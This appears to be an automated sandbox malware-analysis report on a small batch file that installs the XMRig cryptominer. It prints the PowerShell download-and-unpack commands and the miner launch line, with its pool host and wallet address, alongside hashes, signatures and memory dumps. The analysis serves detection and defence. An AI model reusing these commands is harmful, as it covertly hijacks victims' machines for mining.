Analysis

  • max time kernel
    1793s
  • max time network
    1789s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    26/12/2023, 02:00

General

  • Target

    tesy - Copy (3).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4008
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4476
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2616
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:5072

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    842f6e6a565fe0279ba4ab78c3ffc27d

    SHA1

    b0705e1df216076c1cc8bacbaa103c9f9c7b7d18

    SHA256

    6522b13c9192399d127b4622225b7aff01666b0bcea975c4a81ee4a8af96a0e9

    SHA512

    d44ab38ddcbf396c2f6cac64ea4f4bd167b9fa520585c3878d671541358eecd7e13a73dccedbdc4cebbbf3a189f8651e98b24911c27e5a8e9f6c3f4cb1900860

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    a71b8aac8a094084db0edc041bbe5e32

    SHA1

    c8575f5c2f1a86a24852424b9c553d70a21e4866

    SHA256

    e467bc21dfb30a65995cbaa8974fc9ceff13d4f43e21ef0f6878547f34580425

    SHA512

    4d05588489a53ce49b983143314e5c2df89150c37700ef7de51fa53ce0ed3a0d06beba4181058732eb90748c6da06396c790f561130b067b442ec10ee66075a2

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hsecj5zh.yxa.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    2KB

    MD5

    1f493b2679b3df26ab4d050de5c2b0a1

    SHA1

    923302eaef1fdf89d5a998dd807bb4f100a25c20

    SHA256

    dfe3afad611b8f5add043dd372d065bd5ba5b3cb45fe232e6abed419a521e353

    SHA512

    3a2fbf2d89178d2ef6af37c3f0dcd53784b5e6a33161d66095dcb52a80079a4c9a1f5f7b6cfedfd3321429b5bee167a153ff10dcc0533ac7bcae35e55990f308

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    3KB

    MD5

    fb15a56b6c3d264dd983cdc98d612276

    SHA1

    9863fcfa5b68a4019ce71367568af47989934505

    SHA256

    f389bd9a5db062cb8bb4434dbfd77f708d8bb60d700c6df31b79098a31745382

    SHA512

    a1c0d07065b1ffdef8f862d18c313ef49db153beed9e337906c8ab98f6044fec7869c8cecb25ce5e29c13a9aec7425fcf2e9c0043c24f9218b49a504c1036eaf

  • memory/2616-42-0x0000013D70BA0000-0x0000013D70BB0000-memory.dmp

    Filesize

    64KB

  • memory/2616-117-0x00007FFE061F0000-0x00007FFE06BDC000-memory.dmp

    Filesize

    9.9MB

  • memory/2616-80-0x0000013D70CF0000-0x0000013D70D02000-memory.dmp

    Filesize

    72KB

  • memory/2616-93-0x0000013D589F0000-0x0000013D589FA000-memory.dmp

    Filesize

    40KB

  • memory/2616-66-0x0000013D70BA0000-0x0000013D70BB0000-memory.dmp

    Filesize

    64KB

  • memory/2616-40-0x00007FFE061F0000-0x00007FFE06BDC000-memory.dmp

    Filesize

    9.9MB

  • memory/2616-41-0x0000013D70BA0000-0x0000013D70BB0000-memory.dmp

    Filesize

    64KB

  • memory/4008-4-0x0000024E48140000-0x0000024E48162000-memory.dmp

    Filesize

    136KB

  • memory/4008-34-0x00007FFE061F0000-0x00007FFE06BDC000-memory.dmp

    Filesize

    9.9MB

  • memory/4008-29-0x0000024E47FB0000-0x0000024E47FC0000-memory.dmp

    Filesize

    64KB

  • memory/4008-26-0x00007FFE061F0000-0x00007FFE06BDC000-memory.dmp

    Filesize

    9.9MB

  • memory/4008-28-0x0000024E47FB0000-0x0000024E47FC0000-memory.dmp

    Filesize

    64KB

  • memory/4008-27-0x0000024E47FB0000-0x0000024E47FC0000-memory.dmp

    Filesize

    64KB

  • memory/4008-25-0x0000024E47FB0000-0x0000024E47FC0000-memory.dmp

    Filesize

    64KB

  • memory/4008-7-0x0000024E47FB0000-0x0000024E47FC0000-memory.dmp

    Filesize

    64KB

  • memory/4008-9-0x0000024E47FB0000-0x0000024E47FC0000-memory.dmp

    Filesize

    64KB

  • memory/4008-10-0x0000024E481F0000-0x0000024E48266000-memory.dmp

    Filesize

    472KB

  • memory/4008-6-0x00007FFE061F0000-0x00007FFE06BDC000-memory.dmp

    Filesize

    9.9MB

  • memory/5072-143-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-155-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-122-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-123-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-125-0x000001A147120000-0x000001A147140000-memory.dmp

    Filesize

    128KB

  • memory/5072-124-0x000001A147100000-0x000001A147120000-memory.dmp

    Filesize

    128KB

  • memory/5072-126-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-127-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-129-0x000001A147120000-0x000001A147140000-memory.dmp

    Filesize

    128KB

  • memory/5072-128-0x000001A147100000-0x000001A147120000-memory.dmp

    Filesize

    128KB

  • memory/5072-130-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-131-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-132-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-133-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-134-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-135-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-136-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-137-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-138-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-139-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-140-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-141-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-142-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-120-0x000001A1458E0000-0x000001A145900000-memory.dmp

    Filesize

    128KB

  • memory/5072-144-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-145-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-146-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-147-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-148-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-149-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-150-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-151-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-152-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-153-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-154-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-121-0x000001A1470E0000-0x000001A147100000-memory.dmp

    Filesize

    128KB

  • memory/5072-156-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-157-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-158-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-159-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-160-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-161-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-162-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-163-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-164-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-165-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-166-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-167-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-168-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-169-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-170-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-171-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-172-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-173-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-174-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-175-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-176-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-177-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-178-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-179-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-180-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-181-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-182-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-183-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-184-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-185-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-186-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-187-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5072-188-0x00007FF68BBA0000-0x00007FF68C6A3000-memory.dmp

    Filesize

    11.0MB